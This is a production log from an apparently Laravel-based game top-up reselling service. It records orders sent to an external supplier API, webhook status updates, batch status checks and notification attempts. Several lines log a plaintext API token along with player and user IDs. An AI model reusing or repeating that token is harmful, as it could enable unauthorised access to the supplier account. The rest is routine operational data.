[2026-03-24 16:38:25] production.INFO: Operation sent successfully {"operation_id":163831,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TaF-1774359504","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:38:25"}},"processed_data":{"order_number":"ORD-TaF-1774359504","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:38:37] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-TaF-1774359504","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:38:37] production.INFO: Processed webhook data (normalized) {"id":"ORD-TaF-1774359504","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:38:37] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:38:37] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178923} 
[2026-03-24 16:38:37] production.INFO: Order updated successfully. Order ID: 178923, Status: completed  
[2026-03-24 16:38:37] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-TaF-1774359504","status":"completed","codes_count":0} 
[2026-03-24 16:38:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 16:38:57] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"100.0","mainamount":"100","operation_number":"158399745","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpi8s75fler78q5EOTAsD"}},"user_id":1665} 
[2026-03-24 16:38:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:38:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 16:38:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:38:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:38:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:38:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:38:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:38:58] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:38:58] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18653,"user_id":1665,"amount":100.0,"admins_notified":7} 
[2026-03-24 16:40:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04"} 
[2026-03-24 16:40:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","total_operations":6,"sites_count":2} 
[2026-03-24 16:40:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-vaAee9-1774358736","ORD-KedZ-1774359412","ORD-lYS2sUw-1774359433"]} 
[2026-03-24 16:40:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:40:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 16:40:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-KedZ-1774359412","operation_id":163821} 
[2026-03-24 16:40:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lYS2sUw-1774359433","operation_id":163824} 
[2026-03-24 16:40:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:40:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 16:40:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:40:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":3,"order_ids":["ORD-rYWUINh-1774359466","ORD-W4w-1774359478","ORD-8vF7-1774359489"]} 
[2026-03-24 16:40:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:40:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":3} 
[2026-03-24 16:40:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 16:40:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 16:40:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829,"count":3} 
[2026-03-24 16:40:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829,"count":3} 
[2026-03-24 16:40:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829,"user_id":1074,"notification_type":"order_approved","reference_id":178922} 
[2026-03-24 16:40:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829,"user_id":298,"notification_type":"order_approved","reference_id":178920} 
[2026-03-24 16:40:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829,"user_id":1074,"notification_type":"order_approved","reference_id":178921} 
[2026-03-24 16:40:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 16:40:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 16:40:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829,"processed":3,"errors":0} 
[2026-03-24 16:40:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829,"processed":3,"errors":0} 
[2026-03-24 16:40:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"aeyXXBMTkOjfwsWkwKWbgZOqtBBUna9T","execution_time":"2026-03-24 16:40:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W4w-1774359478","operation_id":163829} 
[2026-03-24 16:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 16:40:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 16:40:06] production.INFO: async() رجع: true  
[2026-03-24 16:40:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:40:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:40:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:40:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:40:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:40:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:40:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:40:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:40:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:40:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 16:40:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:40:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 16:40:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 298  
[2026-03-24 16:40:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 16:40:08] production.INFO: Constructing job for order: 178924  
[2026-03-24 16:40:10] production.INFO: Handling job for order: 178924  
[2026-03-24 16:40:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:40:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:40:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=15abcf7d-a363-4517-9d1a-c93ef9f5e0ff&Player_ID=5481036785  
[2026-03-24 16:40:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=15abcf7d-a363-4517-9d1a-c93ef9f5e0ff&Player_ID=5481036785","has_body":false} 
[2026-03-24 16:40:11] production.INFO: Operation sent successfully {"operation_id":163832,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-3nu-1774359611","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:40:11"}},"processed_data":{"order_number":"ORD-3nu-1774359611","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:40:22] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-3nu-1774359611","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:40:22] production.INFO: Processed webhook data (normalized) {"id":"ORD-3nu-1774359611","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:40:22] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:40:22] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":178924} 
[2026-03-24 16:40:22] production.INFO: Order updated successfully. Order ID: 178924, Status: completed  
[2026-03-24 16:40:22] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-3nu-1774359611","status":"completed","codes_count":0} 
[2026-03-24 16:40:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 16:41:11] production.INFO: Constructing job for order: 178925  
[2026-03-24 16:41:14] production.INFO: Handling job for order: 178925  
[2026-03-24 16:41:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:41:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:41:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=60d34e18-b671-452b-9dfc-80de397325d6&Player_ID=5481036785  
[2026-03-24 16:41:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=60d34e18-b671-452b-9dfc-80de397325d6&Player_ID=5481036785","has_body":false} 
[2026-03-24 16:41:15] production.INFO: Operation sent successfully {"operation_id":163833,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Rem4lNso-1774359675","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:41:15"}},"processed_data":{"order_number":"ORD-Rem4lNso-1774359675","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:41:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Rem4lNso-1774359675","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:41:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-Rem4lNso-1774359675","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:41:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:41:31] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":178925} 
[2026-03-24 16:41:31] production.INFO: Order updated successfully. Order ID: 178925, Status: completed  
[2026-03-24 16:41:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Rem4lNso-1774359675","status":"completed","codes_count":0} 
[2026-03-24 16:41:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 16:42:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"I1q8FN9REfLnM8EZ3iqsvzbFWUYzCZjd","execution_time":"2026-03-24 16:42:03"} 
[2026-03-24 16:42:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"I1q8FN9REfLnM8EZ3iqsvzbFWUYzCZjd","execution_time":"2026-03-24 16:42:03","total_operations":3,"sites_count":1} 
[2026-03-24 16:42:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"I1q8FN9REfLnM8EZ3iqsvzbFWUYzCZjd","execution_time":"2026-03-24 16:42:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-vaAee9-1774358736","ORD-KedZ-1774359412","ORD-lYS2sUw-1774359433"]} 
[2026-03-24 16:42:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"I1q8FN9REfLnM8EZ3iqsvzbFWUYzCZjd","execution_time":"2026-03-24 16:42:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:42:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"I1q8FN9REfLnM8EZ3iqsvzbFWUYzCZjd","execution_time":"2026-03-24 16:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 16:42:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"I1q8FN9REfLnM8EZ3iqsvzbFWUYzCZjd","execution_time":"2026-03-24 16:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-KedZ-1774359412","operation_id":163821} 
[2026-03-24 16:42:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"I1q8FN9REfLnM8EZ3iqsvzbFWUYzCZjd","execution_time":"2026-03-24 16:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lYS2sUw-1774359433","operation_id":163824} 
[2026-03-24 16:42:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"I1q8FN9REfLnM8EZ3iqsvzbFWUYzCZjd","execution_time":"2026-03-24 16:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:42:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"I1q8FN9REfLnM8EZ3iqsvzbFWUYzCZjd","execution_time":"2026-03-24 16:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 16:42:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"I1q8FN9REfLnM8EZ3iqsvzbFWUYzCZjd","execution_time":"2026-03-24 16:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:42:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"I1q8FN9REfLnM8EZ3iqsvzbFWUYzCZjd","execution_time":"2026-03-24 16:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:42:20] production.INFO: Constructing job for order: 178926  
[2026-03-24 16:42:21] production.INFO: Handling job for order: 178926  
[2026-03-24 16:42:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:42:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:42:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=231c0978-33d0-4091-9192-0830ec5730a4&Player_ID=5481036785  
[2026-03-24 16:42:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=231c0978-33d0-4091-9192-0830ec5730a4&Player_ID=5481036785","has_body":false} 
[2026-03-24 16:42:22] production.INFO: Operation sent successfully {"operation_id":163834,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-pCCD-1774359742","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:42:22"}},"processed_data":{"order_number":"ORD-pCCD-1774359742","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:42:24] production.INFO: Constructing job for order: 178927  
[2026-03-24 16:42:25] production.INFO: Handling job for order: 178927  
[2026-03-24 16:42:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:42:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:42:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=ac762adb-6525-43e8-926e-db3c40ee044a&Player_ID=5689450635  
[2026-03-24 16:42:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=ac762adb-6525-43e8-926e-db3c40ee044a&Player_ID=5689450635","has_body":false} 
[2026-03-24 16:42:26] production.INFO: Operation sent successfully {"operation_id":163835,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bhT-1774359746","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:42:26"}},"processed_data":{"order_number":"ORD-bhT-1774359746","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 16:42:37] production.INFO: Constructing job for order: 178928  
[2026-03-24 16:42:37] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-bhT-1774359746","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:42:37] production.INFO: Processed webhook data (normalized) {"id":"ORD-bhT-1774359746","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:42:37] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:42:37] production.INFO: SendAcceptReject: Notification queued {"user_id":1488,"notification_type":"order_approved","reference_id":178927} 
[2026-03-24 16:42:37] production.INFO: Order updated successfully. Order ID: 178927, Status: completed  
[2026-03-24 16:42:37] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-bhT-1774359746","status":"completed","codes_count":0} 
[2026-03-24 16:42:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 16:42:38] production.INFO: Handling job for order: 178928  
[2026-03-24 16:42:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:42:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:42:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=016dd991-0afa-4d6f-a08a-20093b633e02&Player_ID=52320827928  
[2026-03-24 16:42:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=016dd991-0afa-4d6f-a08a-20093b633e02&Player_ID=52320827928","has_body":false} 
[2026-03-24 16:42:39] production.INFO: Operation sent successfully {"operation_id":163836,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Rs3iN0e-1774359759","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:42:39"}},"processed_data":{"order_number":"ORD-Rs3iN0e-1774359759","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 16:42:46] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-pCCD-1774359742","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:42:46] production.INFO: Processed webhook data (normalized) {"id":"ORD-pCCD-1774359742","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:42:46] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:42:46] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":178926} 
[2026-03-24 16:42:46] production.INFO: Order updated successfully. Order ID: 178926, Status: completed  
[2026-03-24 16:42:46] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-pCCD-1774359742","status":"completed","codes_count":0} 
[2026-03-24 16:42:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 16:42:50] production.INFO: Constructing job for order: 178929  
[2026-03-24 16:42:51] production.INFO: Handling job for order: 178929  
[2026-03-24 16:42:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:42:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:42:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/615/params?qty=100000&uuid=f66b7b5d-ffa0-4cf6-b745-71d57d1b45bb&Player_ID=7775782  
[2026-03-24 16:42:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/615/params?qty=100000&uuid=f66b7b5d-ffa0-4cf6-b745-71d57d1b45bb&Player_ID=7775782","has_body":false} 
[2026-03-24 16:42:52] production.INFO: Operation sent successfully {"operation_id":163837,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9KvGE3-1774359772","amount":10.575900000000000744648787076584994792938232421875,"status":"processing","product":"Xena Amount","game":"Xena","notes":[],"created_at":"2026-03-24 16:42:52"}},"processed_data":{"order_number":"ORD-9KvGE3-1774359772","amount":10.575900000000000744648787076584994792938232421875,"status":"processing","product":"Xena Amount","game":"Xena"}} 
[2026-03-24 16:42:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Rs3iN0e-1774359759","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:42:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-Rs3iN0e-1774359759","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:42:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:42:53] production.INFO: SendAcceptReject: Notification queued {"user_id":130,"notification_type":"order_approved","reference_id":178928} 
[2026-03-24 16:42:53] production.INFO: Order updated successfully. Order ID: 178928, Status: completed  
[2026-03-24 16:42:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Rs3iN0e-1774359759","status":"completed","codes_count":0} 
[2026-03-24 16:42:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 130  
[2026-03-24 16:43:11] production.INFO: Constructing job for order: 178930  
[2026-03-24 16:43:13] production.INFO: Handling job for order: 178930  
[2026-03-24 16:43:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:43:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:43:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=fe6bb5fd-daf9-4074-9ce0-dbb9c83d7071&Player_ID=5265807598  
[2026-03-24 16:43:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=fe6bb5fd-daf9-4074-9ce0-dbb9c83d7071&Player_ID=5265807598","has_body":false} 
[2026-03-24 16:43:14] production.INFO: Operation sent successfully {"operation_id":163838,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-PBPq7-1774359794","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:43:14"}},"processed_data":{"order_number":"ORD-PBPq7-1774359794","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:43:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-PBPq7-1774359794","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:43:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-PBPq7-1774359794","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:43:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:43:23] production.INFO: SendAcceptReject: Notification queued {"user_id":1488,"notification_type":"order_approved","reference_id":178930} 
[2026-03-24 16:43:23] production.INFO: Order updated successfully. Order ID: 178930, Status: completed  
[2026-03-24 16:43:23] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-PBPq7-1774359794","status":"completed","codes_count":0} 
